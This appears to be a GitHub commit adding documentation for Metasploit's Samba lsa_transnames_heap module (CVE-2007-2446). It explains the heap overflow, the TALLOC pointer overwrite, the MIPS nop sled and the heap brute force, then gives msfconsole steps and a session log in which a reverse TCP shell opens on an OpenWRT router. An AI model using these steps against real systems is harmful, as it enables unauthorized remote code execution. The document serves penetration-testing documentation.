Skip to content

Commit 97b7819

Browse files
JanMitchellJanMitchell
committed
Adding documentation for lsatransnames_heap
1 parent c102384 commit 97b7819

File tree

1 file changed

+88
-0
lines changed

1 file changed

+88
-0
lines changed

‎documentation/modules/exploit/linux/samba/lsa_transnames_heap.md

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
## Vulnerable Application
2+
3+
Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name().
4+
The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24.
5+
6+
## Verification Steps
7+
8+
1. Start msfconsole
9+
2. Do: `use exploit/linux/samba/lsa_transnames_heap`
10+
3. Do: `show targets` to see the possible targets
11+
4. Do: `set target #`
12+
5. Do: `set rhost`
13+
6. Do: `exploit`
14+
15+
## MIPS port
16+
17+
This module was ported to exploit the MIPS architecture. After creating a suitable debugging environment using qemu to emulate Samba on a desktop PC the following steps were required:
18+
19+
### MIPS nop generator
20+
21+
The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effectless nops. At the end of the sled the true payload is added and execution will eventually hit this code.
22+
A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0`
23+
24+
### Heap address bruteforce
25+
26+
The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly then the nop sled will be hit and code execution will follow. If the nop sled is missed then the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash a new heap address is chosen and exploitation is attempted again.
27+
When porting the exploit to a new system the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_
28+
29+
## Scenarios
30+
31+
msf > use exploit/linux/samba/lsa\_transnames_heap
32+
msf exploit(lsa\_transnames_heap) > set target 7
33+
target => 7
34+
msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1
35+
rhost => 192.168.1.1
36+
msf exploit(lsa\_transnames_heap) > show options
37+
38+
Module options (exploit/linux/samba/lsa\_transnames_heap):
39+
40+
Name Current Setting Required Description
41+
---- --------------- -------- -----------
42+
RHOST 192.168.1.1 yes The target address
43+
RPORT 445 yes The SMB service port
44+
SMBPIPE LSARPC yes The pipe name to use
45+
46+
47+
Exploit target:
48+
49+
Id Name
50+
-- ----
51+
7 Linux Heap Brute Force (OpenWRT MIPS)
52+
53+
54+
msf exploit(lsa\_transnames_heap) > exploit
55+
56+
[*] Started reverse TCP handler on 192.168.1.3:4444
57+
[*] 192.168.1.1:445 - Creating nop sled....
58+
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000...
59+
[*] 192.168.1.1:445 - Connecting to the SMB service...
60+
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
61+
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
62+
[*] 192.168.1.1:445 - Calling the vulnerable function...
63+
[*] 192.168.1.1:445 - Server did not respond, this is expected
64+
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x5590f000...
65+
[*] 192.168.1.1:445 - Connecting to the SMB service...
66+
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
67+
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
68+
[*] 192.168.1.1:445 - Calling the vulnerable function...
69+
[*] 192.168.1.1:445 - Server did not respond, this is expected
70+
71+
...Some intermediate attempts ommitted...
72+
73+
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55996000...
74+
[*] 192.168.1.1:445 - Connecting to the SMB service...
75+
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
76+
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
77+
[*] 192.168.1.1:445 - Calling the vulnerable function...
78+
[*] 192.168.1.1:445 - Server did not respond, this is expected
79+
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x559a5000...
80+
[*] 192.168.1.1:445 - Connecting to the SMB service...
81+
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
82+
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
83+
[*] 192.168.1.1:445 - Calling the vulnerable function...
84+
[*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.1:4175) at 2016-10-31 14:00:33 +0000
85+
86+
uname -a
87+
Linux WNR2200 2.6.15 #1 Mon Dec 23 15:58:24 CST 2013 mips unknown
88+

0 commit comments

Comments
 (0)